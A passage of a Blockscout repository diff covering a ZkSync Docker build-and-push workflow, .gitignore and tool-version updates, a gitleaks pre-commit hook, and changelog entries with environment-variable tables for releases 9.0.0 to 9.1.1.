actions/checkout@v5 + - name: Setup repo + uses: ./.github/actions/setup-repo + id: setup + with: + github-token: ${{ secrets.GITHUB_TOKEN }} + docker-remote-multi-platform: true + docker-arm-host: ${{ secrets.ARM_RUNNER_HOSTNAME }} + docker-arm-host-key: ${{ secrets.ARM_RUNNER_KEY }} + + - name: Build and push Docker image for ZkSync (indexer + API) + uses: docker/build-push-action@v6 + with: + context: . + file: ./docker/Dockerfile + push: true + tags: ghcr.io/blockscout/blockscout-zksync-private:latest, ghcr.io/blockscout/blockscout-zksync-private:${{ env.RELEASE_VERSION }} + labels: ${{ steps.setup.outputs.docker-labels }} + platforms: | + linux/amd64 + linux/arm64/v8 + build-args: | + BLOCKSCOUT_VERSION=v${{ env.RELEASE_VERSION }} + RELEASE_VERSION=${{ env.RELEASE_VERSION }} + CHAIN_TYPE=zksync + + - name: Build and push Docker image for ZkSync (indexer) + uses: docker/build-push-action@v6 + with: + context: . + file: ./docker/Dockerfile + push: true + tags: ghcr.io/blockscout/blockscout-zksync-private:${{ env.RELEASE_VERSION }}-indexer + labels: ${{ steps.setup.outputs.docker-labels }} + platforms: | + linux/amd64 + linux/arm64/v8 + build-args: | + DISABLE_API=true + BLOCKSCOUT_VERSION=v${{ env.RELEASE_VERSION }} + RELEASE_VERSION=${{ env.RELEASE_VERSION }} + CHAIN_TYPE=zksync diff --git a/.gitignore b/.gitignore index a069fb5fd6e2..f3545add61b3 100644 --- a/.gitignore +++ b/.gitignore @@ -9,8 +9,12 @@ /*.ez /logs +# mix dialyzer artifacts +/priv/plts + # Generated on crash by the VM erl_crash.dump +dump.rdb # Generated on crash by NPM npm-debug.log @@ -39,14 +43,37 @@ screenshots/ # osx .DS_Store +dump.rdb # mix phx.gen.cert self-signed certs for dev /apps/block_scout_web/priv/cert -/docker-compose/postgres-data +/docker-compose/services/blockscout-db-data +/docker-compose/services/stats-db-data +/docker-compose/services/redis-data +/docker-compose/services/logs /docker-compose/tmp .idea/ *.iml .vscode +.cursorignore +.cursorrules +.elixir_ls + +**.dec** + +*.env.example +*.env.local +*.env.staging +.devcontainer/.blockscout_config* + +# dets tables +queue_storage +tasks_in_progress +/dets + +/temp + +openapi.yaml diff --git a/.pre-commit-config.yaml b/.pre-commit-config.yaml new file mode 100644 index 000000000000..505db0421db5 --- /dev/null +++ b/.pre-commit-config.yaml @@ -0,0 +1,5 @@ +repos: + - repo: https://github.com/gitleaks/gitleaks + rev: v8.17.0 + hooks: + - id: gitleaks \ No newline at end of file diff --git a/.tool-versions b/.tool-versions index 7998d4b67fe0..cf38ec3ee8cf 100644 --- a/.tool-versions +++ b/.tool-versions @@ -1,3 +1,3 @@ -elixir 1.13.4-otp-24 -erlang 24.3.4.1 -nodejs 16.16.0 +elixir 1.17.3-otp-27 +erlang 27.3.4 +nodejs 20.17.0 diff --git a/CHANGELOG.md b/CHANGELOG.md index 858a440125cf..b6e7e1c941ed 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,11 +1,3361 @@ -## Current +# Changelog + +## 9.1.1 + +### 🚀 Features + +- Auto assert_schema in tests ([#13029](https://github.com/blockscout/blockscout/issues/13029)) + +### 🐛 Bug Fixes + +- Fix token transfer test for celo ([#13250](https://github.com/blockscout/blockscout/pull/13250)) +- Add reputation preload to celo base fee ([#13248](https://github.com/blockscout/blockscout/pull/13248)) +- Add reputation preload for user op body for transaction interpreter ([#13241](https://github.com/blockscout/blockscout/pull/13241)) +- Fix condition in Indexer.Fetcher.OnDemand.TokenTotalSupply fetcher ([#13240](https://github.com/blockscout/blockscout/pull/13240)) +- Add reputation preload to state changes and bridged tokens ([#13235](https://github.com/blockscout/blockscout/pull/13235)) +- Soften deposits deletion condition ([#13234](https://github.com/blockscout/blockscout/pull/13234)) +- Fix logic of checking finishing of heavy DB index operation ([#13231](https://github.com/blockscout/blockscout/pull/13231)) +- some flapping explorer/indexer tests ([#13230](https://github.com/blockscout/blockscout/pull/13230)) +- Remove requirement for beacon deposit indexes to be sequential ([#13228](https://github.com/blockscout/blockscout/pull/13228)) + +### ⚡ Performance + +- Improve perf of internal transactions retrieval from the DB ([#13232](https://github.com/blockscout/blockscout/pull/13232)) + +### ⚙️ Miscellaneous Tasks + +- Fix tests ([#13244](https://github.com/blockscout/blockscout/pull/13244)) +- Do not modify deposit indexer state on reorgs ([#13236](https://github.com/blockscout/blockscout/pull/13236)) +- Refactoring reputation ([#13221](https://github.com/blockscout/blockscout/issues/13221)) + +## 9.1.0 + +### 🚀 Features + +- beacon deposits ([#12985](https://github.com/blockscout/blockscout/pull/12985)) +- on-demand bytecode fetching on smart contract verification requests ([#10724](https://github.com/blockscout/blockscout/issues/10724)) +- Improved proxy detection ([#12846](https://github.com/blockscout/blockscout/issues/12846)) +- Add `reputation` property where applicable ([#13070](https://github.com/blockscout/blockscout/issues/13070)) +- Add envs to configure RemoteIp lib usage ([#13082](https://github.com/blockscout/blockscout/issues/13082)) +- Add possibility to forward event notification to another DB ([#13064](https://github.com/blockscout/blockscout/issues/13064)) +- Add x-api-key header ([#13076](https://github.com/blockscout/blockscout/issues/13076)) +- Add token_type to token transfer API response ([#13038](https://github.com/blockscout/blockscout/issues/13038)) +- Export main page counters to Multichain service ([#13007](https://github.com/blockscout/blockscout/issues/13007)) +- Add methodId to txlist rpc method ([#13043](https://github.com/blockscout/blockscout/issues/13043)) +- Runtime config option to disable file logging ([#12805](https://github.com/blockscout/blockscout/issues/12805)) +- Add celo-specific APIv1 `getepoch` action ([#12853](https://github.com/blockscout/blockscout/issues/12853)) + +### 🐛 Bug Fixes + +- Fix errors in celo epochs endpoints([#13201](https://github.com/blockscout/blockscout/pull/13201)) +- Fix api/v2/addresses/{hash}/celo/election-rewards pagination ([#13215](https://github.com/blockscout/blockscout/pull/13215)) +- Add reputation preload for celo gas_token ([#13200](https://github.com/blockscout/blockscout/pull/13200)) +- Mark completed deposits in batches ([#13210](https://github.com/blockscout/blockscout/pull/13210)) +- Adjustments in address nft and collections endpoints ([#13192](https://github.com/blockscout/blockscout/pull/13192)) +- Fix batch's number processing from the socket event ([#13181](https://github.com/blockscout/blockscout/pull/13181)) +- Delete PTOs for forked transactions ([#13145](https://github.com/blockscout/blockscout/pull/13145)) +- Pagination and filtering issues in `/addresses/:hash/nft` ([#13175](https://github.com/blockscout/blockscout/pull/13175)) +- Fix reputation preload for ERC-404 collections ([#13174](https://github.com/blockscout/blockscout/pull/13174)) +- Add reputation to token, rework reputation preload ([#13149](https://github.com/blockscout/blockscout/pull/13149)) +- Replace get_constant_by_key with get_constant_value in get_last_processed_token_address_hash ([#13118](https://github.com/blockscout/blockscout/issues/13118)) +- Duplicates of smart contracts additional sources ([#13018](https://github.com/blockscout/blockscout/issues/13018)) +- Set for read ops in NFT backfillers ([#13116](https://github.com/blockscout/blockscout/issues/13116)) +- Return internal transactions for consensus blocks only in /api/v2/internal-transactions ([#13041](https://github.com/blockscout/blockscout/issues/13041)) +- Fix recv timeout option in Universal proxy config ([#13046](https://github.com/blockscout/blockscout/issues/13046)) +- Fix failing ETH RPC tests ([#13099](https://github.com/blockscout/blockscout/issues/13099)) +- Escape only significant characters in tokens ([#13078](https://github.com/blockscout/blockscout/issues/13078)) +- `/api/v2/addresses/:hash/token-transfers` returns 500 on celo ([#13050](https://github.com/blockscout/blockscout/issues/13050)) +- RuntimeEnvHelper usage in Auth0.Migrated ([#13075](https://github.com/blockscout/blockscout/issues/13075)) +- Fix no function clause matching in Explorer.Chain.Transaction.decoded_input_data/5 ([#13055](https://github.com/blockscout/blockscout/issues/13055)) +- Fix Postgres errors in Explorer.Migrator.BackfillMetadataURL ([#13063](https://github.com/blockscout/blockscout/issues/13063)) +- Fix multichain search queue export bug processing ([#13049](https://github.com/blockscout/blockscout/issues/13049)) +- Csv export for celo l2 epoch rewards on address ([#12815](https://github.com/blockscout/blockscout/issues/12815)) +- Change signed_authorizations chain_id type to numeric ([#13042](https://github.com/blockscout/blockscout/issues/13042)) +- Address api spec for `filecoin` and `zilliqa` chain types ([#12996](https://github.com/blockscout/blockscout/issues/12996)) +- Token type filtering to support multiple types with OR logic ([#13008](https://github.com/blockscout/blockscout/issues/13008)) +- Don't validate address hash for common blocks channels ([#13020](https://github.com/blockscout/blockscout/issues/13020)) +- Fix matching in current token balances import filter ([#12930](https://github.com/blockscout/blockscout/issues/12930)) +- Expand indexer timeout exception definition ([#12748](https://github.com/blockscout/blockscout/issues/12748)) + +### 🚜 Refactor + +- Remove public tags request functionality ([#13006](https://github.com/blockscout/blockscout/issues/13006)) + +### ⚡ Performance + +- Optimize maybe_hide_scam_addresses/3 query ([#12927](https://github.com/blockscout/blockscout/issues/12927)) +- Fix perf of finding non pending block in internal transactions related queries ([#13189](https://github.com/blockscout/blockscout/pull/13189)) +- Internal transactions REST API endpoint perf tradeoff ([#13191](https://github.com/blockscout/blockscout/pull/13191)) + +### ⚙️ Miscellaneous Tasks + +- Remove quantile_estimator dep ([#13190](https://github.com/blockscout/blockscout/pull/13190)) +- Add support of Scroll codecv8 ([#13090](https://github.com/blockscout/blockscout/pull/13090)) +- Change release workflow ([#13087](https://github.com/blockscout/blockscout/issues/13087)) +- Add INDEXER_DISABLE_OPTIMISM_INTEROP_MULTICHAIN_EXPORT env variable ([#13051](https://github.com/blockscout/blockscout/pull/13051)) +- Update and format pull request template ([#13028](https://github.com/blockscout/blockscout/issues/13028)) +- Add final check for ReindexDuplicatedInternalTransactions ([#13091](https://github.com/blockscout/blockscout/issues/13091)) +- Remove obsolete circleci config ([#13097](https://github.com/blockscout/blockscout/issues/13097)) +- Replace ReindexDuplicatedInternalTransactions grouping field ([#13084](https://github.com/blockscout/blockscout/issues/13084)) +- Bump default rps to 5 ([#13089](https://github.com/blockscout/blockscout/issues/13089)) +- Add `is_pending_update` flag to block and transaction API endpoints ([#13013](https://github.com/blockscout/blockscout/issues/13013)) +- Bump actions major versions ([#13077](https://github.com/blockscout/blockscout/issues/13077)) +- Move token transfers to a separate event handler ([#13068](https://github.com/blockscout/blockscout/issues/13068)) +- Remove Polygon Edge modules and chain type ([#13056](https://github.com/blockscout/blockscout/issues/13056)) +- Cover token info export to Multichain service by unit tests ([#12899](https://github.com/blockscout/blockscout/issues/12899)) +- Route left API DB requests from master to read DB replica ([#12896](https://github.com/blockscout/blockscout/issues/12896)) +- Refactor usage of delete_parameters_from_next_page_params/1 ([#13005](https://github.com/blockscout/blockscout/issues/13005)) +- Move address nonce updating to a separate process ([#12941](https://github.com/blockscout/blockscout/issues/12941)) +- Catchup fetcher various improvements ([#12866](https://github.com/blockscout/blockscout/issues/12866)) +- Add disconnect_on_error_codes param to repo config ([#12800](https://github.com/blockscout/blockscout/issues/12800)) +- Move addresses to a separate import stage ([#12857](https://github.com/blockscout/blockscout/issues/12857)) + +### New ENV variables + +| Variable | Description | Parameters | +| --------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------- | +| `DISABLE_FILE_LOGGING` | Disables file-based logging when set to `true`. When enabled, application logs will only be written to stdout/stderr. | Version: v9.1.0\+
Default: `false`
Applications: API, Indexer | +| `API_RATE_LIMIT_REMOTE_IP_HEADERS` | Comma separated list of HTTP headers to extract the real client IP address when Blockscout is behind a proxy for rate limiting purposes. Implemented in [#12386](https://github.com/blockscout/blockscout/pull/13082) | Version: v9.1.0\+
Default: `x-forwarded-for`
Applications: API | +| `API_RATE_LIMIT_REMOTE_IP_KNOWN_PROXIES` | Comma separated list of trusted proxy IP addresses or CIDR ranges that are allowed to set the client IP headers for rate limiting. Implemented in [#12386](https://github.com/blockscout/blockscout/pull/13082) | Version: v9.1.0\+
Default: `(empty)`
Applications: API | +| `INDEXER_DISABLE_OPTIMISM_INTEROP_MULTICHAIN_EXPORT` | Disables exporting of interop messages to Multichain service. Implemented in [#13051](https://github.com/blockscout/blockscout/pull/13051). | Version: v9.1.0\+
Default: `true`
Applications: Indexer | +| `MICROSERVICE_MULTICHAIN_SEARCH_COUNTERS_CHUNK_SIZE` | Chunk size of counters while exporting to Multichain Search DB. Implemented in [#13007](https://github.com/blockscout/blockscout/pull/13007). | Version: v9.1.0\+
Default: `1000`
Applications: Indexer | +| `INDEXER_DISABLE_MULTICHAIN_SEARCH_DB_EXPORT_COUNTERS_QUEUE_FETCHER` | If `true`, multichain DB counters export fetcher doesn't run. Implemented in [#13007](https://github.com/blockscout/blockscout/pull/13007). | Version: v9.1.0\+
Default: `false`
Applications: Indexer | +| `INDEXER_MULTICHAIN_SEARCH_DB_EXPORT_COUNTERS_QUEUE_BATCH_SIZE` | Batch size for multichain DB counters export fetcher. Implemented in [#13007](https://github.com/blockscout/blockscout/pull/13007). | Version: v9.1.0\+
Default: `1000`
Applications: Indexer | +| `INDEXER_MULTICHAIN_SEARCH_DB_EXPORT_COUNTERS_QUEUE_CONCURRENCY` | Concurrency for multichain DB counters export fetcher. Implemented in [#13007](https://github.com/blockscout/blockscout/pull/13007). | Version: v9.1.0\+
Default: `10`
Applications: Indexer | +| `INDEXER_MULTICHAIN_SEARCH_DB_EXPORT_COUNTERS_QUEUE_ENQUEUE_BUSY_WAITING_TIMEOUT` | Timeout before new attempt to append item to multichain DB counters export queue if it's full. [Time format](backend-env-variables.md#time-format). Implemented in [#13007](https://github.com/blockscout/blockscout/pull/13007). | Version: v9.1.0\+
Default: `1s`
Applications: Indexer | +| `INDEXER_MULTICHAIN_SEARCH_DB_EXPORT_COUNTERS_QUEUE_MAX_QUEUE_SIZE` | Maximum size of multichain DB counters export queue. Implemented in [#13007](https://github.com/blockscout/blockscout/pull/13007). | Version: v9.1.0\+
Default: `1000`
Applications: Indexer | +| `INDEXER_MULTICHAIN_SEARCH_DB_EXPORT_COUNTERS_QUEUE_INIT_QUERY_LIMIT` | Limit of the init query for processing the counters export queue to the Multichain DB. Implemented in [#13007](https://github.com/blockscout/blockscout/pull/13007). | Version: v9.1.0\+
Default: `1000`
Applications: Indexer | +| `INDEXER_DISABLE_BEACON_DEPOSIT_FETCHER` | If `true`, the Beacon deposit fetcher won't be started. Implemented in [#12985](https://github.com/blockscout/blockscout/pull/12985). | Version: v9.1.0+
Default: `false`
Applications: Indexer | +| `INDEXER_BEACON_DEPOSIT_FETCHER_INTERVAL` | The interval indicating how often deposit events should be queried. [Time format](/setup/env-variables/backend-envs-chain-specific#time-format). Implemented in [#12985](https://github.com/blockscout/blockscout/pull/12985). | Version: v9.1.0+
Default: `6s`
Applications: Indexer | +| `INDEXER_BEACON_DEPOSIT_FETCHER_BATCH_SIZE` | The batch size specifies how many events are retrieved in a single database query. Implemented in [#12985](https://github.com/blockscout/blockscout/pull/12985). | Version: v9.1.0+
Default: `1000`
Applications: Indexer | +| `INDEXER_DISABLE_BEACON_DEPOSIT_STATUS_FETCHER` | If `true`, the Beacon deposit status fetcher won't be started. Implemented in [#12985](https://github.com/blockscout/blockscout/pull/12985). | Version: v9.1.0+
Default: `false`
Applications: Indexer | +| `INDEXER_BEACON_DEPOSIT_STATUS_FETCHER_EPOCH_DURATION` | Epoch duration in the Beacon chain in seconds. Implemented in [#12985](https://github.com/blockscout/blockscout/pull/12985). | Version: v9.1.0+
Default: `384`
Applications: Indexer | +| `INDEXER_BEACON_DEPOSIT_STATUS_FETCHER_REFERENCE_TIMESTAMP` | Any past finalized Beacon Chain epoch UTC timestamp. Used as reference for status fetcher scheduling. Implemented in [#12985](https://github.com/blockscout/blockscout/pull/12985). | Version: v9.1.0+
Default: `1722024023`
Applications: Indexer | + + +### Deprecated ENV variables + +| Variable | Required | Description | Default | Version | Need recompile | Deprecated in Version | +| ----------------------------------------------------- | -------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------- | -------- | -------------- | --------------------- | +| `INDEXER_POLYGON_EDGE_L1_RPC` | The RPC endpoint for L1 used to fetch deposit or withdrawal events. Implemented in [#8180](https://github.com/blockscout/blockscout/pull/8180). | | v5.3.0+ | | v9.1.0 | +| `INDEXER_POLYGON_EDGE_L1_EXIT_HELPER_CONTRACT` | The address of ExitHelper contract on L1 (root chain) used to fetch withdrawal exits. Required for withdrawal events indexing. Implemented in [#8180](https://github.com/blockscout/blockscout/pull/8180). | | v5.3.0+ | | v9.1.0 | +| `INDEXER_POLYGON_EDGE_L1_WITHDRAWALS_START_BLOCK` | The number of start block on L1 (root chain) to index withdrawal exits. If the table of withdrawal exits is not empty, the process will continue indexing from the last indexed message. If empty or not defined, the withdrawal exits are not indexed. Implemented in [#8180](https://github.com/blockscout/blockscout/pull/8180). | | v5.3.0+ | | v9.1.0 | +| `INDEXER_POLYGON_EDGE_L1_STATE_SENDER_CONTRACT` | The address of StateSender contract on L1 (root chain) used to fetch deposits. Required for deposit events indexing. Implemented in [#8180](https://github.com/blockscout/blockscout/pull/8180). | | v5.3.0+ | | v9.1.0 | +| `INDEXER_POLYGON_EDGE_L1_DEPOSITS_START_BLOCK` | The number of start block on L1 (root chain) to index deposits. If the table of deposits is not empty, the process will continue indexing from the last indexed message. If empty or not defined, the deposits are not indexed. Implemented in [#8180](https://github.com/blockscout/blockscout/pull/8180). | | v5.3.0+ | | v9.1.0 | +| `INDEXER_POLYGON_EDGE_L2_STATE_SENDER_CONTRACT` | The address of L2StateSender contract on L2 (child chain) used to fetch withdrawals. Required for withdrawal events indexing. Implemented in [#8180](https://github.com/blockscout/blockscout/pull/8180). | | v5.3.0+ | | v9.1.0 | +| `INDEXER_POLYGON_EDGE_L2_WITHDRAWALS_START_BLOCK` | The number of start block on L2 (child chain) to index withdrawals. If the table of withdrawals is not empty, the process will fill gaps and then continue indexing from the last indexed message. If empty or not defined, the withdrawals are not indexed. Implemented in [#8180](https://github.com/blockscout/blockscout/pull/8180). | | v5.3.0+ | | v9.1.0 | +| `INDEXER_POLYGON_EDGE_L2_STATE_RECEIVER_CONTRACT` | The address of StateReceiver contract on L2 (child chain) used to fetch deposit executes. Required for deposit events indexing. Implemented in [#8180](https://github.com/blockscout/blockscout/pull/8180). | | v5.3.0+ | | v9.1.0 | +| `INDEXER_POLYGON_EDGE_L2_DEPOSITS_START_BLOCK` | The number of start block on L2 (child chain) to index deposit executes. If the table of deposit executes is not empty, the process will fill gaps and then continue indexing from the last indexed message. If empty or not defined, the deposit executes are not indexed. Implemented in [#8180](https://github.com/blockscout/blockscout/pull/8180). | | v5.3.0+ | | v9.1.0 | +| `INDEXER_POLYGON_EDGE_ETH_GET_LOGS_RANGE_SIZE` | Block range size for eth\_getLogs request in Polygon Edge indexer modules. Implemented in [#8180](https://github.com/blockscout/blockscout/pull/8180). | | v5.3.0+ | | v9.1.0 | +| `ACCOUNT_PUBLIC_TAGS_AIRTABLE_URL` | Airtable URL for public tag requests functionality | | v5.0.0+ | | v9.1.0 | +| `ACCOUNT_PUBLIC_TAGS_AIRTABLE_API_KEY` | Airtable API key for public tag requests functionality | | v5.0.0+ | | v9.1.0 | + + +## 9.0.2 + +### 🐛 Bug Fixes + +- atoms in token_transfers_next_page_params ([#12992](https://github.com/blockscout/blockscout/pull/12992)) +- Fix Mud worlds API endpoint ([#12991](https://github.com/blockscout/blockscout/pull/12991)) +- Set 5 RPS for api/health/* ([#12990]https://github.com/blockscout/blockscout/pull/12990) +- Pagination with atoms in paging_params ([#12986](https://github.com/blockscout/blockscout/issues/12986)) +- Fix RangesHelper.sanitize_ranges for empty list ([#12946](https://github.com/blockscout/blockscout/issues/12946)) +- Remove apikey from next_page_params ([#12972](https://github.com/blockscout/blockscout/issues/12972)) + +## 9.0.1 + +### ⚙️ Miscellaneous Tasks + +- Restore `getblocknobytime` response format to use `blockNumber` key ([#12955](https://github.com/blockscout/blockscout/issues/12955)) + +## 9.0.0 + +### 🚀 Features + +- Export token info to Multichain service ([#12867](https://github.com/blockscout/blockscout/pull/12867)) +- Export balances to Multichain DB([#12726](https://github.com/blockscout/blockscout/pull/12726)) +- Add eip7702 authorization status fetcher ([#12451](https://github.com/blockscout/blockscout/issues/12451)) +- Add token1155tx token404tx api v1 endpoints ([#12720](https://github.com/blockscout/blockscout/issues/12720)) +- Async multichain data export ([#12490](https://github.com/blockscout/blockscout/issues/12490)) +- Rate limits refactoring ([#12386](https://github.com/blockscout/blockscout/issues/12386)) +- Integrate Open API Spex lib ([#11886](https://github.com/blockscout/blockscout/issues/11886)) +- Update CodeQL action to v3 ([#12697](https://github.com/blockscout/blockscout/issues/12697)) ([#12703](https://github.com/blockscout/blockscout/issues/12703)) +- Support merged tenants ([#12109](https://github.com/blockscout/blockscout/issues/12109)) +- Support ethereum pre-deploy contracts ([#12579](https://github.com/blockscout/blockscout/issues/12579)) +- Add `creation_status` field to address response ([#12660](https://github.com/blockscout/blockscout/issues/12660)) +- Decode OP interop message payload, store cross-chain transfer data, display message page, send messages to Multichain ([#12387](https://github.com/blockscout/blockscout/issues/12387)) +- Celo l2 epochs ([#12373](https://github.com/blockscout/blockscout/issues/12373)) +- Add `/api/v2/config/celo` convenience endpoint ([#12238](https://github.com/blockscout/blockscout/issues/12238)) + +### 🐛 Bug Fixes + +- Ignore rate limit for api/v2/import/token-info and api/v2/import/smart-contracts/:param ([#12917](https://github.com/blockscout/blockscout/pull/12917)) +- Mitigate deadlocks while exporting balances and the main queue to the Multichain DB ([#12898](https://github.com/blockscout/blockscout/pull/12898), [#12928](https://github.com/blockscout/blockscout/pull/12928)) +- Balances export queue: replace replace_all with replace only value and updated_at ([#12892](https://github.com/blockscout/blockscout/pull/12892)) +- Fix naming for apikey param in OpenAPI spec ([#12891](https://github.com/blockscout/blockscout/pull/12891)) +- Don't send coin balances with zero delta via ws ([#12890](https://github.com/blockscout/blockscout/pull/12890)) +- Balances export queue to multichain replace do_nothing with replace_all on insertion to the queue ([#12888](https://github.com/blockscout/blockscout/pull/12888)) +- Allow using temporary token for api/account/v2 by default ([#12869](https://github.com/blockscout/blockscout/pull/12869)) +- Fix increment of retries_number in exporting data to Multichain DB ([#12847](https://github.com/blockscout/blockscout/pull/12847)) +- Fix various errors on export of balances to Multichain DB ([#12837](https://github.com/blockscout/blockscout/pull/12837)) +- Reject empty token_id and value in export of token balances to the Multichain DB ([#12829](https://github.com/blockscout/blockscout/pull/12829)) +- Fix multichain export queues processing ([#12822](https://github.com/blockscout/blockscout/pull/12822)) +- Remove token_id parameter from coin balance payload to Multichain service API endpoint ([#12817](https://github.com/blockscout/blockscout/pull/12817)) +- Sanitize empty block_ranges payload before sending HTTP request to Multichain service([#12816](https://github.com/blockscout/blockscout/pull/12816)) +- Disable Indexer.Fetcher.Optimism.Interop.MultichainExport for non-OP chains ([#12814](https://github.com/blockscout/blockscout/pull/12814)) +- Fix flaky test for exporting balances to Multichain DB ([#12813](https://github.com/blockscout/blockscout/pull/12813)) +- Filter out creation internal transaction with `index == 0` ([#12777](https://github.com/blockscout/blockscout/issues/12777)) +- Filter out scilla transactions in internal transactions fetcher ([#12793](https://github.com/blockscout/blockscout/issues/12793)) +- Change default ordering in `/api/v2/smart-contracts` ([#12767](https://github.com/blockscout/blockscout/issues/12767)) +- Filter scilla transactions by status ([#12756](https://github.com/blockscout/blockscout/issues/12756)) +- Fix timeout on cache update ([#12773](https://github.com/blockscout/blockscout/issues/12773)) +- Error on too big block numbers in APIv1 `txlist` method ([#12727](https://github.com/blockscout/blockscout/issues/12727)) +- Fix CSV export tests ([#12744](https://github.com/blockscout/blockscout/issues/12744)) +- Fix race condition for EventNotification ([#12738](https://github.com/blockscout/blockscout/issues/12738)) +- Multichain retry hex decoding ([#12742](https://github.com/blockscout/blockscout/issues/12742)) +- Internal transactions balance extraction ([#12654](https://github.com/blockscout/blockscout/issues/12654)) +- Multichain search export: retry only on failed chunks ([#12459](https://github.com/blockscout/blockscout/issues/12459)) +- Display correct OP Deposit origin address ([#12672](https://github.com/blockscout/blockscout/issues/12672)) +- Store blocks_validated in DB for Stability Validators ([#12540](https://github.com/blockscout/blockscout/issues/12540)) +- `MarketHistory` on conflict clause ([#12541](https://github.com/blockscout/blockscout/issues/12541)) +- Flaky 404 in `/api/v2/internal-transactions` ([#12701](https://github.com/blockscout/blockscout/issues/12701)) +- CryptoRank integration ([#12523](https://github.com/blockscout/blockscout/issues/12523)) +- Fix timeout on fetching address internal transactions ([#12570](https://github.com/blockscout/blockscout/issues/12570)) +- Coin balance history with internal tx changes ([#12631](https://github.com/blockscout/blockscout/issues/12631)) +- Update all block fields on conflict ([#12418](https://github.com/blockscout/blockscout/issues/12418)) +- Fix pending transactions sanitizer ([#12559](https://github.com/blockscout/blockscout/issues/12559)) +- Don't send logs without topic to sig provider ([#12620](https://github.com/blockscout/blockscout/issues/12620)) +- Add missing fields to Celo Epochs-related endpoints ([#12589](https://github.com/blockscout/blockscout/issues/12589)) +- Correctly use Geth importer for Besu genesis file. ([#12466](https://github.com/blockscout/blockscout/issues/12466)) ([#12686](https://github.com/blockscout/blockscout/issues/12686)) +- Ignore unknown type txs in gas price oracle ([#12613](https://github.com/blockscout/blockscout/issues/12613)) +- Resolve timeouts on Celo epoch reward contract reads ([#12229](https://github.com/blockscout/blockscout/issues/12229)) +- Prevent constant refetching of celo epoch blocks ([#12498](https://github.com/blockscout/blockscout/issues/12498)) +- Fix typo in ondemand token balance request ([#12495](https://github.com/blockscout/blockscout/issues/12495)) +- Fix for `add_0x_prefix` function ([#12514](https://github.com/blockscout/blockscout/issues/12514)) + +### ⚡ Performance + +- Api v1 `txlist`& `txlistinternal` endpoints ([#12774](https://github.com/blockscout/blockscout/issues/12774)) +- Optimize Explorer.Chain.Cache.Blocks ([#12402](https://github.com/blockscout/blockscout/issues/12402)) + +### ⚙️ Miscellaneous Tasks + +- Remove obsolete API response props ([#12931](https://github.com/blockscout/blockscout/pull/12931)) +- Balances Multichain export: Refactor rows acquisition for deletion query ([#12839](https://github.com/blockscout/blockscout/pull/12839)) +- Change name of Swagger generation workflow ([#12840](https://github.com/blockscout/blockscout/pull/12840)) +- migrate Auth0 to mint as well ([#12807](https://github.com/blockscout/blockscout/pull/12807)) +- Migrate from HTTPoison to Tesla.Mint ([#12699](https://github.com/blockscout/blockscout/pull/12699)) +- Merge adjacent missing block ranges ([#12778](https://github.com/blockscout/blockscout/issues/12778)) +- Optimize missing block ranges operations ([#12705](https://github.com/blockscout/blockscout/issues/12705)) +- Hold parity with Etherscan APIv1 for `getcontractcreation` and `getblocknobytime` endpoints ([#12721](https://github.com/blockscout/blockscout/issues/12721)) +- Allow resending reindexed OP interop messages to Multichain service ([#12626](https://github.com/blockscout/blockscout/issues/12626)) +- Duplicate block countdown endpoint in API v2 ([#12704](https://github.com/blockscout/blockscout/issues/12704)) +- Revise Explorer.Helper.add_0x_prefix usage ([#12543](https://github.com/blockscout/blockscout/issues/12543)) +- New tac microservice endpoint for search ([#12448](https://github.com/blockscout/blockscout/issues/12448)) +- Add filter for value > 0 to txlistinternal ([#12679](https://github.com/blockscout/blockscout/issues/12679)) +- Optimize realtime events notifier ([#12494](https://github.com/blockscout/blockscout/issues/12494)) +- Drop address_coin_balances value_fetched_at index ([#12598](https://github.com/blockscout/blockscout/issues/12598)) +- Update deprecated address to address_hash in tx summary response ([#12617](https://github.com/blockscout/blockscout/issues/12617)) +- Remove redundant word in comment ([#12603](https://github.com/blockscout/blockscout/issues/12603)) +- Move background migrations under indexer mode ([#12480](https://github.com/blockscout/blockscout/issues/12480)) +- Support multiple interop messages view on transaction page ([#12455](https://github.com/blockscout/blockscout/issues/12455)) +- Remove `is_self_destructed` field in `/api/v2/smart-contracts/{address_hash}` response ([#12239](https://github.com/blockscout/blockscout/issues/12239)) +- Set home directory for blockscout user ([#12337](https://github.com/blockscout/blockscout/issues/12337)) + +### New ENV variables + +| Variable | Description | Parameters | +| --------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------- | +| `INDEXER_DB_EVENT_NOTIFICATIONS_CLEANUP_ENABLED` | If `true`, `Indexer.Utils.EventNotificationsCleaner` process starts. Implemented in [#12738](https://github.com/blockscout/blockscout/pull/12738) |

Version: v9.0.0+
Default: true
Applications: Indexer

| +| `INDEXER_DB_EVENT_NOTIFICATIONS_CLEANUP_INTERVAL` | Interval between DB event notifications cleanup. [Time format](backend-env-variables.md#time-format). Implemented in [#12738](https://github.com/blockscout/blockscout/pull/12738) |

Version: v9.0.0+
Default: 2m
Applications: Indexer

| +| `INDEXER_DB_EVENT_NOTIFICATIONS_CLEANUP_MAX_AGE` | Max age of DB event notifications before they are cleaned up. [Time format](backend-env-variables.md#time-format). Implemented in [#12738](https://github.com/blockscout/blockscout/pull/12738) |

Version: v9.0.0+
Default: 5m
Applications: Indexer

| +| `INDEXER_SIGNED_AUTHORIZATION_STATUS_BATCH_SIZE` | Batch size (number of blocks) for EIP7702 authorizations status fetcher. Implemented in [#12451](https://github.com/blockscout/blockscout/pull/12451). |

Version: v9.0.0+
Default: 10
Applications: Indexer

| +| `MIGRATION_REINDEX_BLOCKS_WITH_MISSING_TRANSACTIONS_BATCH_SIZE` | Number of blocks to reindex in the batch. Implemented in [#12559](https://github.com/blockscout/blockscout/pull/12559). |

Version: v9.0.0+
Default: 10
Applications: Indexer

| +| `MIGRATION_REINDEX_BLOCKS_WITH_MISSING_TRANSACTIONS_CONCURRENCY` | Number of parallel reindexing block batches processing. Implemented in [#12559](https://github.com/blockscout/blockscout/pull/12559). |

Version: v9.0.0+
Default: 1
Applications: Indexer

| +| `MIGRATION_REINDEX_BLOCKS_WITH_MISSING_TRANSACTIONS_TIMEOUT` | Timeout between reindexing block batches processing. Implemented in [#12559](https://github.com/blockscout/blockscout/pull/12559). |

Version: v9.0.0+
Default: 0
Applications: Indexer

